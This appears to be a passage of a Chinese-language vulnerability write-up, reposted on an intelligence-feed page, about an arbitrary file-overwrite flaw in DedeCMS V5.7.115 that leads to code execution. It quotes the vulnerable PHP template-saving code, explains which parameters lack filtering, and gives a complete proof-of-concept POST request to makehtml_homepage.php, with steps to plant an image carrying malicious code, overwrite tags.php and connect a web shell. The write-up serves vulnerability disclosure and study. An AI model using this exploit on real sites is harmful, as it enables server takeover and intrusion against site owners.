消息详情 · IntelFlow｜智能情報平台

通知訊訊

暫無新訊訊

function SaveTo($filename) { $fp = @fopen($filename,"w") or die("DedeTag Engine Create File False: {$filename}"); fwrite($fp,$this->GetResult()); //写入功能继续跟进去看将什么内容写入了 fclose($fp); } function GetResult() { $ResultString = ''; if($this->Count==-1) //这里由于$Count 的值已经定义为-1 所以在这里被赋值 { return $this->SourceString; //之前templet的文件内容被赋值到$this->SourceString中 } $this->AssignSysTag(); $nextTagEnd = 0; $strok = ""; for($i=0;$i<=$this->Count;$i++) { $ResultString .= substr($this->SourceString,$nextTagEnd,$this->CTags[$i]->StartPos-$nextTagEnd); $ResultString .= $this->CTags[$i]->GetValue(); $nextTagEnd = $this->CTags[$i]->EndPos; } $slen = strlen($this->SourceString); if($slen>$nextTagEnd) { $ResultString .= substr($this->SourceString,$nextTagEnd,$slen-$nextTagEnd); } return $ResultString; //最后返回内容将templet传入的文件内容写入到了$homeFile中也就是传入的position指定的文件中 } 分析完文件覆盖功能分析整篇代码想要利用此功能达到代码执行需要满足条件传入以下值dopost=make、showmod=1即可进入上述覆盖功能处，然后传入templet=文件、Position=被覆盖文件其中Position不存在任何过滤，templet存在过滤不能使用../ 所以只能是在/templets/目录中的文件漏洞利用第一步上传图片马利用系统的文件管理器上传包含恶意内容的图片文件在且/templets/目录中选择一个php文件系统根目录的tags.php 作为漏洞利用的被覆盖文件第二步利用漏洞点 Poc: 代码 POST /dede/makehtml_homepage.php HTTP/1.1 Host: dedexin.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://dedexin.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://dedexin.com/dede/makehtml_homepage.php Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2arsdvohnfcikal48h8hr7ubk0; _csrf_name_1c92fd8c=07275bb19eb1a468e0ca33f375d922d9; _csrf_name_1c92fd8c1BH21ANI1AGD297L1FF21LN02BGE1DNG=b4f481ed8fe16761; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=54d02982fb32518a; DedeLoginTime=1712737433; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=c773fe091ed4fc7c Accept-Encoding: gzip, deflate, br Content-Length: 53 Connection: close dopost=make&templet=mu.gif&position=..%2Ftags.php&showmod=1 漏洞参数 templet position Phpinfo 连接shell DedeCMS V5.7.115 任意文件覆盖导致代码执行二

相關消訊